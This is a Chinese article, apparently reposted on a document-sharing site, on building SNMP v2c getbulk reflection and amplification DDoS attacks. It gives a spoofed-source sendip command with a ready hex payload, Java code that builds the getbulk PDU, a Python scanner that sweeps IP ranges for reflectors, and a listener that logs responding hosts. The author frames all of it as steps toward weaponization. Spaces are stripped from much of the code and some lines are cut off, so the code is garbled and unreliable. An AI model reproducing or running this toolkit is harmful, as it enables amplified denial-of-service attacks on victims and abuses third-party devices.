基于snmp的反射攻击的理论及其实现.docx

上传人:b****1 文档编号:10256157 上传时间:2023-05-24 格式:DOCX 页数:17 大小:22.13KB
下载 相关 举报
基于snmp的反射攻击的理论及其实现.docx_第1页
第1页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第2页
第2页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第3页
第3页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第4页
第4页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第5页
第5页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第6页
第6页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第7页
第7页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第8页
第8页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第9页
第9页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第10页
第10页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第11页
第11页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第12页
第12页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第13页
第13页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第14页
第14页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第15页
第15页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第16页
第16页 / 共17页
基于snmp的反射攻击的理论及其实现.docx_第17页
第17页 / 共17页
亲,该文档总共17页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

基于snmp的反射攻击的理论及其实现.docx

《基于snmp的反射攻击的理论及其实现.docx》由会员分享,可在线阅读,更多相关《基于snmp的反射攻击的理论及其实现.docx(17页珍藏版)》请在冰点文库上搜索。

基于snmp的反射攻击的理论及其实现.docx

基于snmp的反射攻击的理论及其实现

基于snmp的反射攻击的理论及其实现

0x00前言

当时dns反射攻击爆发的时候,我就开始研究snmp的反射攻击(实际可以达到20倍的放大效果),在2013年夏天就已经理论研究完成,后来实现工具化。

最后还差规模化(武器化)。

其实,是国外在2013年初,就有只言片语叙述snmp的反射攻击,但是没有一篇完整的文章,最近在微博上看到很多朋友转载国外的信息,我觉得,如果再不把自己所研究的放出来刷刷存在感,让我这个rank9的人活不下去了。

0x01背景

罗嗦了这么多,进入正题。

首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。

第二,需要主机和缺陷主机之间有大小不对等的信息交换。

一般满足这两个条件就可以来实现反射攻击。

0x02理论

Snmp就不过多介绍了,大家可以XX。

Snmp有3个版本,这里攻击最理想的是2c版本,而恰恰2c版本也是应用最广的。

在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。

Snmpwalk–cpublic–v2cIPoid

这里oid是获取snmp具体信息内容的一个标识,snmp里面存的信息是一个树状的信息结构。

其实snmpwalk是获取一条oid信息,但是这个oid里面附带了下一个树节点的oid号,然后snmp会通过snmpget继续访问下一个oid号(在getnext字段里面),来执行一个类似于循环的行为,但是snmpget的协议大家也看到了,只能获取到一条信息,79的信息长度,只能获得279的反馈,这样实现攻击的放大倍数是不给力的。

关键点来了,根据rfc1441-rfc1452文档说明,snmp第二版里面引入了getbulk来取代反复getnext,用来更好的在单个请求里面获得大量的管理数据。

相对应的bt5下还有个snmpbulkget命令

snmpbulkget-v2c-Cn0-Cr70-cpublicIPoid

对应就是获取当前oid后面的70个团体字,这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息,而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包,如图。

这里看到数据包的length大家就会明白了,就是利用这种方式,来获得反射攻击的效果。

这里大家会有个疑问。

一个snmp里面会包含n多的信息(上千条肯定有了)为什么这里只用70条,用更多的会返回更多的信息,获得更大的倍数。

当然我也想,这么做,可是snmp这协议不想ntp协议直接给你把数据分包返回,而是通过一个包里的不同字段返回多个信息的,所以这里面就会受到网络链路上的mtu这个值的影响,1500这个硬伤是不能越过去的。

理论上已经实现了信息不对等的交互了,那么下面就是伪造源ip发udp包的环节了。

此处我用的是sendip这个工具,安装很简单http:

//www.earth.li/projectpurple/progs/sendip.html

下载源码之后直接在linux下编译安装,这其中可能会遇到编译问题,请参考这里

下面看下我用的命令

sendip-v-pipv4-issrc_IP-iddst_IP-pudp-us8000-ud161dst_IP-d0x123456789

这里是使用ipv4的协议发送udp包,src_IP源ip,dst_ip目的ip,-usudp源端口,-ududp目的端口,这里snmp默认端口是161,源端口自己随便填,最后部分是数据部分,其实可以直接输入明文的,但是snmp的pdu编码是非常蛋疼的,所以我使用了-d16进制的形式。

下面是效果,这个包就发到本地吧,这里的源地址就是ddos的反射攻击的被攻击者的地址。

这里看到了效果,为下一步工具化进行了铺垫

最后这个图是虚拟机环境搭的,实现反射攻击的整体图0x03工具化

首先要解决snmp数据包pdu部分的蛋疼的编码部分,snmp的数据部分是符合基本编码规则(ber)的这里有三篇文章,大家可以完全读懂ber编码和snmp的关系。

对于这个蛋疼的编码,我写了个java程序来生成pdu,里面有注释,大家很好理解的。

importjava.io.UnsupportedEncodingException;

publicclassSnmpPDUber{

publicstaticStringsumlen(Strings){

intc=0;

Stringr="";

Stringr2="";

s=qukongge(s);

s=s.replaceAll("","+");

r=s.replaceAll("\\+","");

//System.out.println(s);

c=r.length()/2;

r2=Integer.toHexString(c);//十进制转换成16进制返回

returnsubStr(r2);

}

publicstaticStringrandomtohex(inti)//产生i组16进制随机数

{

Strings="";

intk;

for(intj=0;j

k=(int)(1+Math.random()*(254-1+1));

s=s+Integer.toHexString(k)+"";

}

returns;

}

publicstaticStringsubStr(Strings)//(双位)0变成00

{

if(s.length()%2==1){

s="0"+s;

}

returns;

}

publicstaticStringqukongge(Strings){returns.replaceAll("","");}//去除空格

publicstaticStringtoHexString(Strings)

{

Stringstr="";

for(inti=0;i

{

intch=(int)s.charAt(i);

Strings4=Integer.toHexString(ch);

str=str+""+s4;

}

returnstr;

}

publicstaticvoidmain(Stringargs[]){

//tag+len+values

Stringtag="30";//tag标识域SEQUENCE类型

Stringlen="00";

Stringvalues="";//values值域

Stringversiontag="02";//versiontag标识域INTEGER类型

Stringversionlen="01";

Stringversionvalues="01";//versionvalues001版本012c版本

StringCommunitytag="04";//Communitytag标识域string类型

StringCommunitylen="00";//Communitylen长度域

StringCommunityvalues=args[0];//Community值域public

System.out.println(Communityvalues);

Communityvalues=toHexString(Communityvalues);

System.out.println(Communityvalues);

Stringpdutag="a5";//pdutag标识域a5是getbulkrequest

Stringpdulen="00";//pdulen长度域

Stringpduvalue="";//pdu值域

Stringrequestid_tag="02";//requestidtag标识域INTEGER类型

Stringrequestid_len="04";//requestidlen长度域

Stringrequestid_values="";//8位16进制随机ID

Stringnon_repeaters_tag="02";//getbulk开始段标识域

Stringnon_repeaters_len="01";

Stringnon_repeaters_values="00";//16进制0

Stringmax_repeaters_tag="02";//getbulk循环段标识域

Stringmax_repeaters_len="01";

Stringmax_repeaters_values="64";//16进制100

StringVariable_tag="30";

StringVariable_len="00";

StringVariable_value="";

StringItem_tag="30";

StringItem_len="00";

StringItem_values="";

StringObject_tag="06";

StringObject_len="00";

StringObject_values="2b06010201";//1.3.6.1.2.1

Stringvalue_tag="05";//noerror标识域

Stringvalue_len="00";

/*

tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+

non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]

*/

Stringtmp="";

intj=0;

tmp=value_tag+""+value_len;

Object_len=sumlen(Object_values);

Item_values=Object_tag+""+Object_len+""+Object_values+""+tmp;

Item_len=sumlen(Item_values);

Variable_value=Item_tag+""+Item_len+""+Item_values;

Variable_len=sumlen(Variable_value);

tmp=Variable_tag+""+Variable_len+""+Variable_value;

requestid_values=randomtohex(4);//报文随机id后面自带空格,所以下面字符串拼接时候不需要带空格

pduvalue=requestid_tag+""+requestid_len+""+requestid_values+non_repeaters_tag+""+non_repeaters_len+""+non_repeaters_values+""+max_repeaters_tag+""+max_repeaters_len+""+max_repeaters_values+""+tmp;

pdulen=sumlen(pduvalue);

tmp=pdutag+""+pdulen+""+pduvalue;

Communitylen=sumlen(Communityvalues);

values=versiontag+""+versionlen+""+versionvalues+""+Communitytag+""+Communitylen+""+Communityvalues+""+tmp;

len=sumlen(values);

tmp=tag+""+len+""+values;

System.out.println(tmp);

System.out.println("0x"+qukongge(tmp));

/*sendip-v-pipv4-is192.168.1.101-id192.168.1.102-pudp-us8000-ud161192.168.1.102-d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/

}

}

注意:

getbulk的循环字段就是对应snmpbulkget里面的–Cr标识位。

第二为了有一定数量的能进行反射的主机,需要一个给力的扫描器,这里会有人想到用zmap来扫描,但是要知道,udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的,实测有很多udp程序只要你发的数据不符合他接收的格式时,他是无任何反应和回复的,就和这个ip没开相关端口是一样的效果,snmp也是符合这种情况的,所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包,来期盼正常的返回,来证明这个ip是否可以用来反射攻击。

不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块,这个模块我用过,不是太给力。

下面是我用python写的一个循环调用sendip发包的程序,来扫描ip段的,里面的pdu是用刚才java编码程序生成出来的。

发出的包用一个自写的java程序监听端口,如果有返回信息,就把返回的ip地址输出到文件。

python3.4版本的

importos

importtime

frompip.backwardcompatimportraw_input

__author__='qwe'

classipScan(object):

def__init__(self,begin,end):

self.begin=begin

self.end=end

deftraverseIP(self):

begin_ip=[]

end_ip=[]

begin=self.begin.split(".")

end=self.end.split(".")

#print(begin,end)

forminbegin:

begin_ip.append(int(m))

forninend:

end_ip.append(int(n))

a1=begin_ip[1]

b1=end_ip[1]

a2=begin_ip[2]

b2=end_ip[2]

a3=begin_ip[3]

b3=end_ip[3]

print(a1,b1,a2,b2,a3,b3)

foroinrange(a1,b1+1):

p=1

q=1

if(o==a1):

p=a2

else:

p=1

if(o==b1):

q=b2

else:

q=254

forminrange(a2,b2+1):

i=1

j=1

if(m==a2):

i=a3

else:

i=1

if(m==b2):

j=b3

else:

j=254

forninrange(i,j+1):

ipstr=(str(begin_ip[0])+"."+str(o)+"."+str(m)+"."+str(n))

sendip='sendip-pipv4-is192.168.0.108-id'+ipstr+'-pudp-us8450-ud161'+ipstr+'-d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'

print(sendip)

os.system(sendip)

time.sleep(0.1)

begin=raw_input("enterbeginipaddr:

")

end=raw_input("enterendipaddr:

")

#print(begin,end)

a=ipScan(begin,end)

a.traverseIP()

java监听程序

/**

*CreatedwithIntelliJIDEA.

*User:

Clevo

*Date:

14-3-11

*Time:

下午10:

09

*TochangethistemplateuseFile|Settings|FileTemplates.

*/

importorg.bouncycastle.asn1.ASN1InputStream;

importorg.bouncycastle.asn1.ASN1Primitive;

importorg.bouncycastle.asn1.util.ASN1Dump;

importjava.io.ByteArrayInputStream;

importjava.io.FileWriter;

importjava.io.IOException;

import.*;

publicclassudpListen{

publicstaticvoidmain(String[]args){

printReceiveInfomationFromPort(8000);

}

staticvoidprintReceiveInfomationFromPort(intport){

newThread(newMonitorPortRunnable(port)).start();

}

}

classMonitorPortRunnableimplementsRunnable{

bytebuf[]=newbyte[1024];

DatagramSocketds=null;

DatagramPacketdp=null;

intlocalReceivePort;

publicMonitorPortRunnable(intlocalReceivePort){

this.localReceivePort=localReceivePort;

}

publicstaticvoidwritefile2(StringfileName,Stringcontent){

try{

//打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件

FileWriterwriter=newFileWriter(fileName,true);

writer.write(content);

writer.close();

}catch(IOExceptione){

e.printStackTrace();

}

}

publicvoidrun(){

dp=newDatagramPacket(buf,0,1024);

try{

ds=newDatagramSocket(localReceivePort);

}catch(SocketExceptione1){

//prompt("本地接收端口已被使用");

System.exit(0);

}

while(true){

try{

ds.receive(dp);

//System.out.println("信息来自:

"+this.localReceivePort);

}catch(IOExceptione){

ds.close();

e.printStackTrace();

}

byte[]c=dp.getData();

intc_len=dp.getLength();

StringreceiveMessage=newString(c,0,c_len);

StringreceiveAddr=newString(dp.getAddress().toString());

//System.out.println(receiveMessage);//暂时打印到控制台,一般输出到文件

System.out.println(receiveAddr);

writefile2("result.txt",receiveAddr+"\r\n");

}

}

 

}最后还有一个java写的结果过滤,其实就是一个snmp的信息获取程序,来筛选可利用的主机或者设备,大家可以增加更多的功能,例如看出口的速度等。

importjava.io.*;

importjava.util.Vector;

importorg.snmp4j.CommunityTarget;

importorg.snmp4j.PDU;

importorg.snmp4j.Snmp;

importorg.snmp4j.event.ResponseEvent;

importorg.snmp4j.mp.SnmpConstants;

importorg.snmp4j.smi.OID;

importorg.snmp4j.smi.OctetString;

importor

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 解决方案 > 学习计划

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2